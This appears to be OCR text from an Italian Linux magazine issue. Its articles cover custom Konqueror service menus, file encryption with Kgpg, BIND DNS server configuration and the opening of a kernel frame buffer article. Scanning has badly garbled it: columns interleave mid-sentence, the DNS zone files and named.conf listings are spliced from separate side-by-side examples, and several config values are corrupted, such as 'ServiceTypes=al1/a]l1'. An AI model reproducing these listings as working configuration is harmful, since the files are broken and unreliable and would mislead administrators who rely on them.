segnalibri, aprirlo con 
un programma di nostra 
scelta o vedere l'ante- 
prima. 


1. [Desktop Entry]; 
2. [Desktop Action]. 


La prima sezione contiene le voci: 


e Comment- contiene un commento relativo al 
servizio; 

e Encoding - imposta la codifica per supportare 
le diverse lingue; 

® ServiceTypes - indica il tipo di risorsa da trat- 
tare; 

® Actions - rimanda alla funzione da eseguire 
contenuta nella sezione Desktop Action. 


La seconda sezione, vero e proprio cuore del ser- 
vizio, contiene le righe seguenti: 


e Name- il nome dell’azione che compare nel 
menu contestuale; 

e lcon-l’icona visibile alla sinistra della voce del 
menu; 

e Exec - il comando, o l’insieme di comandi, 
eseguito dallo script. 


Konqueror, di default, possiede già numerosi ser- 
vizi, ma altri vengono aggiunti solo durante l’in- 
stallazione dei molti programmi per KDE. | servizi 
disponibili per Konqueror li trovate nelle directory: 


1. /usr/share/apps/konqueror/servicemenus (con- 
tiene i servizi offerti a tutti gli utenti di KDE); 

2. /home/nomeutente/.kde/share/apps/konqueror 
/servicemenus (directory contenente i servizi di- 
sponibili solo all’utente specifico). 


LeIL:9 Gli script creati, disponibili nel CD- 
DVD allegato nella directory -/software/_lista- 
tilKonqueror_Servizi, verranno posizionati al- 


l'interno della directory /home/nomeutente 
/.kde/share/apps/konqueror/servicemenus, 
per fare in modo che le estensioni aggiunte sia- 
no disponibili solo all'utente che le ha create. 


IL NOSTRO PRIMO SERVIZIO 


Lo chiameremo copiafloppy e ci consentirà di co- 
piare un file o un’intera directory nel floppy disk 
senza dover aprire altre finestre. Per la creazione 
del servizio possiamo usare un qualunque editor 
di testo per KDE (Kate, Kwrite o Kedit). Prima di 
usare questo servizio assicuriamoci che il floppy 
sia montato altrimenti l'operazione non andrà a 
buon fine. Ecco il codice del servizio: 


[Desktop Entry] 


Comment=Invio della risorsa al floppy 


Encoding=UTF-8 


ServiceTypes=al1/a]l1 


Actions=Inviafloppy 


[Desktop Action Inviafloppy] 


Namelen]=Copy to Floppy 3 1/2 


Name[it]=Copia sul Floppy da 3,5"' 


Icon=3f]oppy_unmount.png 


Exec=kfmclient copy %U floppy:/a 


Abbiamo visto prima a 
cosa servono le singo- 
le righe che compon- 
gono il servizio e in ef- 
fetti non hanno biso- 
gno di commento, so- 
no auto esplicative. 

Unica osservazione da 
fare è che la proprietà 
Actions, della sezione 
Desktop Entry, contiene 
il nome della funzione 
di servizio (Inviafloppy), 
da inviare alla sezione 
successiva (Desktop 
Action). Il nome della 
funzione deve essere 
riportato correttamen- 
te altrimenti i comandi 
successivi non verran- 
no mai eseguiti gene- 
rando un errore. La ri- 
ga Exec contiene il co- 


GNU/LINUX E I DISPOSITIVI 
DI MEMORIZZAZIONE 


Una delle differenze principali che disorienta- 
no un po' chi si trova davanti per la prima 
volta un sistema Unix-like provenendo da 
sistemi operativi Microsoft è senza dubbio il 
diverso approccio che si ha con i filesystem e 
con tutti i dispositivi di memorizzazione (hard 
disk, masterizzatori, cdrom e floppy). Nello 
stesso albero delle directory di Linux i file 
sono disposti e ordinati in base alla loro fun- 
zione. In questa maniera ogni supporto non 
viene visto come un'unità a sè stante e isolata, 
ma viene integrata col preesistente albero 
delle directory. E così troveremo per esempio i 
file contenuti nel floppy in /mnt/floppy, nel 
CDRom in /mnt/cdrom. Per poter accedere a 
queste risorse ed agganciare i contenuti di un 
dispositivo in una directory già esistente di 
Linux [di solito la directory /mnt) ci viene in 
aiuto il comando mount. 


mando da avviare e le sue opzioni; kfmcelient è 
un’utility usata per controllare Konqueror da linea 
di comando (o da script) e ci permette di inserire 
parametri abbastanza evoluti, nel nostro caso 
kfmelient copia il contenuto della risorsa selezio- 
nata nel floppy disk attraverso la direttiva floppy:/. 
Trovate istruzioni dettagliate su kfmelient alla pagi- 
na: http://developer.kde.org/documentation/other/kfm- 
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- [ sN) a RA 


[ao 0/0 G|4 


| | 5 tae/rorenaiperguinOmateo 
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RI Fig. 2 © Una nuova voce è stata aggiunta al menu 
contestuale. Finalmente copiare file e directory su un 
floppy sarà meno faticoso 
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client.html. Dopo aver salvato il file con il nome di 
copiafloppy.desktop spostiamolo nella directory 
/home/nomeutente/.kde/share/apps/konqueror 
/servicemenus: 


$mv copiafloppy.desktop /home/nomeutente 
/.kde/share/apps/konqueror/servicemenus 


ed andiamo a provare il nostro primo servizio per 
konqueror (Figura 2). 


EDITARE FILE 
COME UTENTE ROOT 


Secondo servizio per konqueror (il file editaroot 
.desktop), assolutamente insostituibile per gli 
utenti non root che devono modificare un file di 
configurazione in modo rapido. Senza questo ser- 
vizio dovremmo per forza ricorrere all’uso della 
console, per loggarci come utente root ed editare 
un file. Il risparmio di tempo ottenuto è davvero 
notevole. Vediamo insieme il codice dello script: 


[Desktop Entry] 


questo servizio appena creato deve essere spo- 
stato nella directory indicata in precedenza. Usan- 
do il comando kdesu possiamo anche creare un 
servizio per aprire le directory come utente root, 
una funzionalità non trascurabile e in molti casi 
necessaria. Vediamo come fare nel servizio suc- 
cessivo. 


ACCEDERE A UNA DIRECTORY 
COME ROOT 


Il servizio che andremo a creare non è molto diver- 
so dal precedente, in effetti le uniche cose da 
cambiare, in maniera sostanziale, sono il valore 
della riga ServiceTypes e il comando inserito nella 
riga Exec: 


[Desktop Entry] 
Comment=servizio per aprire directory come 


utente root 


Encoding=UTF-8 
ServiceTypes=inode/directory, 
inode/directory-locked 


Actions=ApriRoot 


Comment=Edita un file come utente root 


[Desktop Action ApriRoot] 


Encoding=UTF-8 


Namefen]=0pen as Root user 


ServiceTypes=text/*, application/x-desktop 


Name[it]=Apri come utente Root 


Actions=editroot 

[Desktop Action editroot] 
Name[it]=Edita file come utente Root 
Name[en]=Edit as root 

Icon=kedit 

Exec=kdesu "kedit" "%U" 


Come potete notare, la riga ServiceTypes della se- 
zione Desktop Entry riporta il valore text/*, applica- 
tion/x-desktop, questo serve a indicare al servizio 
che stiamo trattando un file di tipo testo. Il coman- 
do kdesu è un’interfaccia grafica per il comando su 
di UNIX, in pratica ci permette di lanciare un pro- 
gramma come se fossimo un altro utente sempli- 
cemente chiedendo di inserire la sua password 
per quell’utente (Figura 3). Ovviamente anche 


Eseglliicome mot - “st per KDE 


L'azione che hai richiesto richiede i privilegi di root. Per 
piacere, inserisci la password di root oppure premi Ignora 
Ma] per continuare con i privilegi attuali. 


kedit '/etc/X11/XF86Confia' 


Password: lafisand 


Comando: 


Ricorda la password 


Ignora 


RA Fig. 3 © Una volta inserita la password di root 
verrà avviato l'editor kedit per la modifica del file 
selezionato senza aprire nessuna console 
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Icon=kcmsystem 
Exec=kdesu "konqueror --profile 
filemanagement %U" 


Fade argue 


Il valore di ServiceTy- 


Indirizzo Modifica Visualizza Vai Segnalibri Strumenti Impostazioni Fi 


pes, in questo caso, in- 


/®A0Q0[0 0 


BESsaoo 


dica la risorsa di tipo |lndirizzo: | E file:varloghnttpd 


directory (inode/direc- 
tory, inode/directory-loc- 
ked) non più la risorsa 
file di testo come visto 
in precedenza (text/*, 
application/x-desktop). 
La riga Exec della se- 
zione Desktop Action, attraverso il comando kdesu, 
chiama in causa il browser konqueror avviandolo 
automaticamente in modalità file manager (--profi- 
le filemanagement) in Figura 5 possiamo vedere il 
risultato. 


vr, L 


access |. igrror logi 


CONCLUSIONI 


Grazie a questi semplici esempi è stato possibile 
apprezzare le potenzialità offerte dalla creazione 
di servizi personalizzati per Konqueror, d’ora in 
poi, scrivendo poche righe di codice, le operazio- 
ni ripetitive saranno solo un lontano ricordo. 
Valerio Guaglianone 


RI Fig. 5 © Grazie al nuovo servizio abbiamo appena 
aperto in konqueror la directory dei log del server 
Apache. Controlliamo i log o li stampiamo? 


File e directory 


in cassaforte 


HI Come cifrare e decifrare file, directory, e-mail e documenti sensibili 
per renderli inaccessibili a occhi indiscreti, il tutto con una comoda 
interfaccia e pochi clic del mouse grazie a Kgpg 


creazione di chiavi crittografiche, pubbli- 

che e private, più semplice possibile, eli- 
minando la necessità di utilizzare gli strumenti a ri- 
ga di comando messi a disposizione dal potente 
GnuPG. Il programma è perfettamente integrato 
nel desktop KDE e una volta eseguito si presenta 
come icona a forma di lucchetto nella barra delle 
applicazioni. Mediante un clic con il tasto destro si 
accede al menu con le funzioni più importanti, 
mentre con il tasto sinistro si apre la finestra per la 
gestione delle chiavi che rappresenta il cuore 
dell'applicazione. Qui vengono gestite le chiavi di 


5 obiettivo principale di Kgpg è quello di 
permettere l'accesso alla cifratura e alla 


crittografia che si possono creare, importare, 
esportare, firmare e modificare. Kgpg dispone 
inoltre di un editor integrato, attraverso il quale è 
possibile cifrare e decifrare testi, siano essi digita- 
ti direttamente all'interno della finestra o importati 
con un semplice copia/incolla da altri programmi. 
Per rendere ancora più intuitivo l'uso del program- 
ma, nel menu contestuale di Konqueror sono pre- 
senti alcune voci relative a Kgpg, per cui, sempli- 
cemente selezionando un file con il tasto destro 
del mouse si può provvedere immediatamente 
alla sua cifratura o decifratura, rendendo diretta e 
veloce l'intera procedura. 

D’amato Luigi 


Chiavi di cifratura con Kgpg 


Inseriamo i dati personali e la frase segreta per generare la coppia di chiavi 


tile Modifica Visualizza (Chiavi) £ Impostazioni Aiuto 


>» Modifica chiave 
J / 
n C firma chiam 
Nome v Ja Modifica chiave nel terminale 
Genera coppia di chiavi 
Egporta chiavi pubbliche 


l 


AN 


4) NGPG 
WV 100 


Licenza: GNU GPL 


Sito wes: http://ktown.kde.org 
I-kopg 


Tipo: Sicurezza 


Inserisci frase segreta per 
giovanni®@miodominio.dominio: 
La frase segreta dovrebbe includere caratteri 


alfanumerici e sequenze casuali 


Password: [rr 


Verifica FERREE 


sono state create in precedenza le 

chiavi di cifratura, il software provve- 
de ad inizializzare automaticamente tale 
procedura. È possibile generare una coppia 
di chiavi, selezionando dal menu "Chiavi" la 
voce "Genera coppia di chiavi" oppure utiliz- 
zando la sequenza Ctrl+N. 


1 CREAZIONE GUIDATA Se non 
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creazione delle chiavi avviene impo- 

stando per prima cosa il proprio no- 
me ed il proprio indirizzo e-mail, scegliendo 
la scadenza che di default è illimitata, la di- 
mensione della chiave ed il tipo di algorit- 
mo. Qualora si volessero maggiori opzioni si 
può utilizzare la modalità per esperti. 


», INSERIMENTO DEI DATI La 


Le password corrispondono 


Annulla 


finire la frase segreta per la coppia di 

chiavi da creare. L'importanza di que- 
sto passaggio non è da sottovalutare poiché 
senza di essa non si potranno decifrare più 
file e testi! La frase segreta dovrebbe conte- 
nere caratteri alfanumerici e sequenze ca- 
suali ed essere sufficientemente lunga. 


3 LA FRASE SEGRETA È ora di de- 


Generiamo le chiavi 


Creazione di chiavi aggiuntive e precauzioni per recuperare quelle compromesse 


< Generazione nuova coppia di chiavi. 


La 


Attendere prego... 
CREAZIONE DELLE CHIAVI 
1 Una volta confermata la corrispon- 
denza della frase segreta inizia la 
creazione delle parole chiavi. Questa proce- 
dura può richiedere un po' di tempo, proprio 
per la sua complessità ed è in funzione delle 
diverse opzioni scelte, come gli algoritmi o 
la lunghezza delle chiavi e dalle prestazioni 
della propria macchina. 


Creata nuova chuare 
he cream can necessa 8 ctunve segueme 

ne Giovanni 

Pons iemone a grovaani@nntominiodeminie 


Veneti avo (uao. 
ngrenta Ggraie 
| 


M moon come cheave predetevta 


Commzata di revoca 


Se POCCOMANGA @ LVIDE @ MEMBER CORIO È FEVBLO GA LADOR IM CSR MR dea LIeATT vengo corrormmesta 


® satva can name (rerncato_S revoca esve_govar » 
©) stars 


fra 


A creazione avvenuta si può definire 

se impostare la coppia di chiavi co- 
me quella predefinita e se si desidera sal- 
vare o stampare un certificato di revoca da 
usare qualora la chiave venga compro- 
messa. Questa opzione è altamente consi- 
gliabile per evitare eventuali complicazioni 
durante l'uso delle chiavi. 


2 IL CERTIFICATO DI REVOCA 


| 


<> Gestione chiavi - KGpy 


Mod&ca  Vonuniga Chiavi Gruppi Impgstaseni Auto 


Pnsta elettronica | Fiducia | Scadenze 


giovannigmio 


Dimensione | 


gitata la frase segreta si accederà 

alla finestra principale di Kgpg dove 
è possibile gestire tutte le funzionalità del 
programma, dalla creazione di chiavi ag- 
giuntive all'importazione di chiavi pubbli- 
che fino alla cifratura/decifratura median- 
te l'editor integrato e all'eventuale revoca 
delle chiavi di cifratura. 


3 CHIAVI AGGIUNTIVE Appena di- 


Cifratura e decifratura 


Utilizziamo le chiavi appena create per proteggere file e directory sul nostro disco fisso 


razie all'integrazione con Konqueror, la cifratura e 

decifratura dei file avviene in maniera veloce e natura- 
le; ovviamente non è l'unica strada percorribile visto che 
Kgpg offre diverse opportunità, come ad esempio l'editor 


integrato, ma sicuramente è la più comoda. Utilizzando 
infatti l'estensione del menu di Konqueror oppure l'applet 
presente nella toolbar, bastano pochi click per mettere i 
propri file al sicuro. 


[I 


una qualsiasi finestra di Konqueror, fac- 

ciamo clic con il pulsante destro del 
mouse sul file che si intende cifrare. Dal me- 
nu contestuale basta selezionare la voce 
"Azioni" e poi "Cifratura file" per eseguire di- 
rettamente il modulo di cifratura di Kgpg ed 
accedere a tutte le opzioni necessarie. 


1 CIFRIAMO UN FILE All'interno di 


Identificativo 


[R) cifratura corazzata ASCII 

ID Permetti la citratura con chiavi non fidate 
ID Nascondi identificativo utente 

(D) Distruggi file originario 


ID citratura simmetrica 


V, OPZIONI DI CIFRATURA In questa 


finestra di dialogo si possono definire le 

opzioni principali per influenzare il pro- 
cesso di cifratura, prima fra tutte la selezione 
della chiave pubblica da utilizzare, sceglien- 
dola tra quelle presenti, oppure decidendo di 
utilizzare la cifratura simmetrica (quella che 
utilizza solo una parola chiave]. 


Inserisci la frase segreta per [Nessun 
identificativo utente trovato] 


Password: [ 


{v OK )( Annulla 


linux 


un file, sia che esso sia stato generato 

con la tecnica della chiave pubblica/pri- 
vata oppure con quella della chiave simmetri- 
ca, basta semplicemente fare click con il tasto 
di sinistra sul file cifrato (solitamente con 
estensione .asc) per fare si che kgpg provveda 
a chiedere la password e lo decifri. 


3 DECIFRIAMO IL FILE Per decifrare 
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L] Rete 


uando accediamo ad un indirizzo di 
rete (ad esempio Www.linux-maga- 
zine.it) automaticamente esso vie- 
ne tradotto in un indirizzo numeri- 
co detto IP (/54.132.177.24). Questa “tradu- 
zione”, da nome a numero, si ottiene pro- 
prio grazie al servizio DNS. Il Domain Name d elle reti 
System consiste in una specie di database di- 
stribuito, su Internet o all'interno di una re- 
te locale, nella quale sono presenti tutte le corrispondenze tra no- 
mi di dominio e indirizzi IP. Il servizio DNS è composto da dati 
DNS, server DNS, e protocolli Internet. 
Il sistema è strutturato in modo gerarchico, dal nodo radice fino 
ad arrivare ai Top Level Domain o TLD (.it, .com, .net, .org, ecc.) 
Quando si effettua una richiesta di connessione a una macchina, 
questa avviene in modo ricorsivo, lungo questa gerarchia “scala” 
partendo dalla radice. 
Ad esempio, per risolvere il nome redazione.linux-magazine.it, il 
sistema cerca prima all'interno del server che contiene le infor- 
mazioni sul dominio di primo livello it, successivamente all'inter- 
no del server che fornisce le informazioni sul dominio di secon- 
do livello linux-magazine.it, infine troverà l'indirizzo IP della mac- 
china che corrisponde al nome redazione.linux-magazine.it. 


COME FUNZIONA IL DNS DINAMICO 


Quando effettuiamo una connessione Internet, il nostro 
provider (Libero, Tim, ecc.) ci assegna un indirizzo IP scelto 
tra quelli disponibili in quel preciso momento. 

Ogni volta che effettuiamo un nuovo collegamento, ci viene 


assegnato un diverso indirizzo IP. Attraverso il sistema 
DNS dinamico è possibile modificare la corrispondenza tra 
nome di dominio ed indirizzo IP del PC connesso ogni volta 
che questo cambia. Questo sistema consente, pur variando 
l'indirizzo IP, di rintracciare la macchina sempre attraverso 
lo stesso nome. 
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DNS 
RICONOSGCERSI 
IN RETE 


Come funziona 

e come si crea 

un servizio per 

la risoluzione dei 
nomi di dominio, 
per individuare ogni 
host all'intermo 


COSA È UN TLD 


TLD (Top Level Domain], indica 
l'authority preposta alla registrazione 
di ogni singolo dominio. Questa custo- 
disce il database che assicura la corri- 
spondenza tra il nome a dominio utiliz- 
zato ed il DNS 


TIPOLOGIE DI DOMAIN SERVER 


Un server di dominio di primo livello, chiamato anche Root Name 
Server, fornisce informazioni riguardo a domini del tipo .com, .it, 
.org, ‘net ecc... Quando viene effettuata una ricerca per un domi- 
nio, ad esempio Www.linux-magazine.it viene prima interrogato 
il root server autoritativo per il dominio .it e successivamente la 
ricerca prosegue verso i Domain Name Server di livello più basso. 
Per vedere qual è il root server per il dominio .it si può utilizzare 
il comando nslookup, tradizionalmente utilizzato per l'interroga- 
zione del servizio di risoluzione dei nomi: 


nslookup it 


Continuando nella risoluzione del nome con il comando nsloo- 
kup, le informazioni vengono fornite dal suo server di dominio lo- 
cale. Le tipologie di server di dominio sono tre: master slave e 
caching server. Il master server contiene tutte le informazioni ri- 
guardo al dominio e le fornisce su richiesta. Lo slave server è uti- 
lizzato come backup nel caso il master server non sia disponibile 
e contiene le stesse informazioni del master server. Un caching ser- 
ver non fornisce informazioni all’esterno ed è utilizzato per for- 
nire informazioni sui domini ad altri server o workstation all’in- 
terno della rete locale. 

Un caching server memorizza le informazioni relative ai domini 
che hanno avuto un accesso in precedenza allo scopo di accelera- 
re le ricerche successive. 


ALTERNATIVE A NSLOOKUP 


| programmi più utilizzati, insieme a nslookup, per l'interro- 
gazione dei server DNS sono host e dig. Questi sono presenti 
di default nella maggior parte delle distribuzioni. L'utilizzo 


del programma host è semplicissimo, segue un esempio di 
utilizzo: 

host 192.168.0.1 

mostra l'indirizzo e il nome corrispondente 


FILE DI CONFIGURAZIONE DEL SERVER 


Vediamo quali sono i file necessari per configurare correttamen- 
te un server DNS. Tre sono sempre necessari qualunque tipologia 
di server DNS si decida di implementare, si tratta dei seguenti: 


e named.conf - situato nella directory /etc, contiene i parame- 
tri globali ed i riferimenti ai file di configurazione delle zone 
gestite dal server; 

e named.ca- situato nella directory /war/named, contiene i nomi 
e gli indirizzi dei root server; 

e named.local- situato nella directory /war/named fornisce le in- 
formazioni necessarie alla risoluzione dell’indirizzo dell’in- 
terfaccia loopback per il sistema locale (localhost). 


Nel caso il server DNS, che avete implementato, sia di tipo ma- 
ster, sono necessari ulteriori due file per ogni zona gestita: 


e File Zone- contengono nomi ed indirizzi di server e worksta- 
tion nel dominio locale e risolve i nomi in indirizzi locali; 

e File Reverse Zone - questo file fornisce informazioni per ri- 
salire dall’indirizzo IP al nome associato. 


Per attivare l’uso dei DNS sul vostro computer dovete inoltre 
modificare il file /etc/nsswitche e controllare che contenga la riga: 


hosts: files nisplus dns 

con lo stesso ordine riportato. Inoltre, è necessario controllare 
che il file /erc/resolv.confcontenga l'indirizzo di loopback (127.0.0.1) 
come name server. 


IL SERVER DNS BIND 


Nel corso dell'articolo si farà riferimento al pacchetto BIND 
(Berkeley Internet Domain Name) creato e sviluppato dalla 
ISC (Internet Software Consortium) (www. isc.org/products 
/BIND). È importante ricordare che named è il nome del 
demone che compie il lavoro di risoluzione dei nomi (il ser- 
ver vero e proprio), mentre l'intero pacchetto BIND include 
tutto l'occorrente alla gestione del DNS, utility di configura- 
zione e librerie, compreso il demone named. 


CONFIGURARE UN CACHING SERVER 


È quanto di più semplice si possa fare. Se avete installato BIND, 
è sufficiente controllare che i vostri file di configurazione siano 


conformi a quelli riportati di seguito e apportare le modifiche 
precedentemente descritte per attivare i DNS sulla vostra mac- 
china. Il file named.conf deve avere una struttura di questo tipo: 


// named.conf for caching-nameserver 

options { 
directory "/var/named"; 
dump-file "/var/named/data/cache_dump.db"; 
statistics-file "/var/named/data/named_stats.txt"; 


// query-source address * port 53; }; 


(il 
// a caching only nameserver config 
0A 
controls { 
inet 127.0.0.1 allow {localhost;} keys {rndckey;}; }; 
zone "." IN { 
type hint; 
file "named.ca";}; 
zone "localdomain" IN { 
type master; 
file "localdomain.zone"; 
allow-update { none; }; }; 
zone "localhost" IN { 
type master; 
"localhost.zone"; 
allow-update { none; };}; 
zone "0.0.127.in-addr.arpa" IN { 
type master; 
file "named.local"; 
allow-update { none; }; }; 
zona 300:0000:0:00:0050:000000 040000190 
-0.0.0.0.0.0.ip6.arpa" IN { 


type master; 
file "named.ip6.local"; 
allow-update { none; }; }; 
zone "255.in-addr.arpa" IN { 
type master; 
file "named.broadcast"; 
allow-update { none; }; }; 
zone "O.in-addr.arpa" IN { 
type master; 
file "named.zero"; 
allow-update { none; };}; 
include "/etc/rndc.key"; 


Analizziamo anche la struttura di altri due file: uno di risoluzio- 
ne diretta e l’altro di risoluzione inversa del nome in quanto que- 
sti, se non avete effettuato alcuna modifica, dovrebbero essere 
creati durante l’installazione di BIND. Per la risoluzione inversa 
analizziamo il file named.local: 


$TTL 86400 
@ IN SOA localhost. root.localhost.  ( 
1997022700 ; Serial 28800 ; Refresh 14400 ; Retry 
3600000; Expire) ; Minimum 
BIO 
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IN NS 


localhost. 
localhost. 


1 IN PTR 


e per la risoluzione diretta il file /ocalhost.zone: 


Questa volta però i file di zona linux.it e di zona inversa linux.rev 
dobbiamo crearli da zero nella directory /var/named. Vediamo un 
semplice esempio per il file di zona diretta linux.it rimandando 
per le opzioni alla guida di BIND. 


$TTL 86400 @ IN SOA main.linux-magazine.it. mail.linux- 
@ IN SOA @ root (42 ; serial 3H ; refresh 15M ; retry magazine.it. ( / 
1W ; expiry 1D ) ; minimum ; Seriale 
NS @ 8h ; Refresh 
INA 270051 2h ; Retry 
IN AAAA  ::1 lw ; Scadenza 


CONFIGURARE UNO SLAVE SERVER 
O SERVER SECONDARIO 


Realizzare un name server secondario non è molto diverso da 
quanto fatto per il caching server, si tratta soltanto di modificare 
alcune parti del file /etc/named.conf e aggiungere due voci. 
Supponiamo di voler utilizzare il nostro server come slave per il 
dominio linux-magazine.it, dobbiamo modificare il file /etc/na- 
med.conf introducendo una nuova zona diretta ed una inversa 
come segue: 


zone “linux-magazine.it” { 


ld) ; Minimo TTL 
NS main.linux-magazine.it. / 


NS stefano.linux-magazine.it. 
MX 10 main; Server di Posta Primario 
MX 20 Celeron1000; Server di Posta Secondario 


Adesso creiamo il file per la zona inversa linux.rev: 


@ IN SOA main.linux-magazine.it. mail.linux- 
magazine.it. ( / 


; Seriale 
8h ; Refresh 
zh ; Retry 


notify no ; lw ; Scadenza 

type slave ; 1d) ; Minimo TTL 

mile Silio NS main.linux-magazine.it. 
1 PTR main.linux-magazine.it. 


MOSUARS 1 cevezoi 83 gi 
zone ”z.y.x.în-addr.arpa” { 

notify no; 

type slave; 

file “linux.rev”; 

Masters vez Veli 


Dove x.y.z.w è l'indirizzo IP del master server. I file linux.it e li- 
nux.rev non devono essere creati, in quanto questa operazione è 
svolta in automatico dal server Bind. L'unica precauzione è uti- 
lizzare gli stessi nomi presenti sul master server. 


CONFIGURARE UN MASTER SERVER 


Per configurare un master server dobbiamo partire con una mo- 
difica simile a quanto abbiamo già fatto per lo slave server: In que- 
sto caso le zone diretta e inversa che dobbiamo aggiungere saran- 
no del tipo: 


zone “linux-magazine.it” { 
notify no ; 
type master ; 
file “linux.it”} 


zone ”z.y.x.în-addr.arpa” { 


notify no; 


type master; 


file “linux.rev”; }; 


(1) 
70% è Giugno 2005 


Celeron1000.linux-magazine.it. 


Questi file devono essere presenti entrambi nella directory /var 
/named. 


UN ESEMPIO PRATICO DI UTILIZZO 


Nel realizzare un server DNS per la vostra azienda, il primo pun- 
to da focalizzare è quello di isolare alcune zone nella gerarchia 
dei DNS. Realizzeremo quindi un server DNS esterno con limi- 
tate informazioni, e server DNS interni distribuiti sulla rete inter- 
na per prevenire traffico DNS non necessario e contemporanea- 
mente ridurre la latenza nella risoluzione dei nomi. Separare ser- 
ver interni e esterni, permette di rendere noti soltanto alcuni host 
all'esterno e proteggere quelli interni. Un modo semplice per ot- 
tenere questo risultato, è quello di creare una gerarchia. Sicura- 
mente il dominio che andrete ad amministrare sarà un dominio 
di secondo livello ( il primo livello solitamente sarà .it, .com, .org 
ecc...) come linux-magazine.it. Inoltre, supponiamo di dover rico- 
noscere i vari dipartimenti all'interno dell'azienda. Molto proba- 
bilmente le macchine di ogni dipartimento avranno accesso fre- 
quente ad altre macchine dello stesso dipartimento per cui è 
ragionevole che i nomi dei vari host vengano risolti dal server 
DNS locale di ciascun dipartimento. Possiamo immaginare una 
struttura globale come quella visibile in Figura 1. 

Abbiamo così creato una struttura DNS che limita ciascun dipar- 
timento senza aver creato un unico server per tutta l'azienda. 
Predisponendo un server per ciascuno di essi e rendendolo pri- 


Server interno 
Primario: amministrazione.linux-magazine.it 
Secondario: progettazione.linux-magazine.it 
Secondario: magazzino.linux-magazine.it 
Secondario: linux-magazine.it 


Server interno 

Primario: magazzino.linux-magazine.it 
Secondario: progettazione.linux-magazine.it 
Secondario: amministrazione.linux-magazine.it 
Secondario: linux-magazine.it 


Firewall 


Server interno 

Primario: progettazione.linux-magazine.it 
Secondario: amministrazione.linux-magazine.it 
Secondario: magazzino.linux-magazine.it 
Secondario: linux-magazine.it 


Server Esterno 


Primario: www.linux-magazine.it 
Secondario: - 


MI Fig. 1 è Esempio di struttura dei server DNS all’interno dell'azienda 


mario (master) per il dipartimento a cui appartiene e secondario 
(slave) per gli altri, abbiamo ottimizzato il traffico e ottenuto un 
notevole aumento della sicurezza, in quanto il sistema prevede 
una ridondanza dei dati. La limitazione del traffico può essere 
ottenuta configurando ciascuna workstation per interrogare pri- 
ma il server del dipartimento a cui appartiene e in caso di falli- 
mento il server di un altro. Prendiamo in considerazione il server 
DNS del dipartimento di progettazione, il nome sarà ad esempio 
www.progettazione.linux-magazine.it. Possiamo scegliere di 
rendere utilizzabile questo nome soltanto all'interno della nostra 
azienda e non all'esterno, per evitare di fornire informazioni sul- 
la struttura della nostra rete. Quello che è invece importante ri- 
cordare è che gli utenti interni, devono essere in grado di poter 
risolvere i domini presenti su Internet. Ci sarà quindi bisogno di 
configurare il server DNS interno per poter accedere ai root ser- 
ver dei DNS su Internet.Vediamo adesso la configurazione dei 
server DNS dell'azienda. Iniziamo con il server principale che 
contiene la versione interna della zona linux-magazine.it. Que- 
sto server provvede anche a delegare l'autorità per i sottodomini 
interni alla nostra azienda. 

Per raggiungere il nostro scopo, il file linux-magazine.zone deve 
presentarsi nel seguente modo: 


@ IN SOA linux-magazine.com. root.linux-magazine.com 


localhost IN A 127.0.0.1 ; indirizzo di loopback 
ns.progettazione.linux-magazine.com. IN A xxx.xxx.xxx.100 
sindirizzo IP di progettazione supposto l’ultimo byte 
dell’indirizzo uguale a 100 
progettazione.linux-magazine.com. IN NS 
ns.progettazione.linux-magazine.com. 
; name server di progettazione.linux-magazine.com 


Questa sarà la base del vostro server interno principale. Con que- 
sta configurazione, il computer che avete utilizzato è diventato il 
master server per la zona linux-magazine.it ed avete trasferito il 
controllo della zona progettazione.linux-magazine.it al name server 
del dipartimento di progettazione. L'ultimo passo per il server 
principale è realizzare un file che mappi l'indirizzo IP del com- 
puter nel nome corrispondente. Questo file è solitamente chia- 
mato z.y.x.rev anche se come per i nomi delle zone non c'è nessun 
vincolo, dove x,y,z sono i primi tre byte di un indirizzo IP in clas- 
se C). Ad esempio nel caso di IP 217.133.42.44 il file si chiamerà 
42.133.217.rev. Un possibile file di configurazione è il seguente: 


@ IN SOA company.com. root.company.com. ( 
05030400 ; Numero Seriale: aammgg 

3600 ; Refresh in sec 

3600 ; Retry in sec 


( 


432000 ; Scadenza in sec 


05030300 ; Numero Seriale: aammgg 


86400) ; Minimo in secs 


3600 ; Refresh in sec 


IN NS ns-interno.linux-magazine.it. 


3600 ; Retry in sec 


12 IN PTR ns-interno.linux-magazine.it. 


432000 ; Scadenza in secs 

86400) ; Minimo in sec 

N NS ns-interno.linux-magazine.com. ; name server 
interno 


NA x.y.z.12 ;Indirizzo IP del server Interno 
supposto l’ultimo byte dell’indirizzo uguale a 12 
N MX 0 mail.linux-magazine.com. ;destinazione della 
posta 


N HINFO Machine 0S ;tipo di macchina e sistema 
operativo 


100 IN PTR ns.progettazione.linux-magazine.it. 


dove 12 e 100 sono il byte w di un indirizzo IP del tipo x.y.z.w. 
In questo modo abbiamo definito due name server, uno per la 
zona linux-magazine.it e l’altro per la zona progettazione.linux-ma- 
gazine.it. Aggiungere altri host è estremamente semplice, basta 
aggiungere un record del tipo IN A nel file di mappatura diretta 
del nome (solitamente .zone) e un record IN P7R nel file di map- 
patura inversa del nome (solitamente .rev). 

Roberto di Stefano 
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1 problema più ricorrente affrontato da- 
gli sviluppatori del Kernel, è quello del- 
l'astrazione di una funzionalità dalle ca- 


L] Sistema 


IMPLEMENTAZIONE 


DEL FRAME 


BUFFER 


Dopo aver discusso 
l'accesso 

ad una periferica 

di frame buffer da parte 
dello spazio utente, 
passiamo 


campi della struttura var possono essere 
modificati, infatti uno dei metodi nella 
struttura ops si chiama fb_check_var pro- 


ratteristiche dell'hardware sottostante 
tramite la definizione di strutture dati che 
permettano di descrivere le singole istanze 
implementative. Una buona organizzazione 
delle strutture dati è d'altronde alla base 
della buona programmazione, come già sot- 
tolineava Frederick Brooks nel '75 in "The 
Mythical Man-Month" (box - Importanza delle 
strutture dati). Un driver di frame buffer, 
perciò, si riduce principalmente ad una struttura dati che descri- 
va l'hardware che si vuole pilotare: le dimensioni dello schermo, 
la disposizione dei pixel in memoria video e l'indirizzo fisico 
della memoria video. 


I\ [e] y:Y$ Per motivi di spazio i listati a cui si fa riferimen- 
to nel testo sono disponibili nel CD-DVD allegato all'inter- 


no della directory -/software_listati/Kernel_ Zone. 


LE STRUTTURE DATI DEL FRAME BUFFER 


Per presentare al Kernel la propria periferica video, occorre 
compilare tre strutture dati di lavoro e una di gestione. Le strut- 
ture di lavoro sono struct fb_ops, che contiene puntatori a fun- 
zioni definite nel driver stesso, come tutte le strutture dati il cui 
nome finisce in _ops oppure _operations; struct fb_var_screeninfo, 
definisce le caratteristiche del dispositivo o del modo video con- 
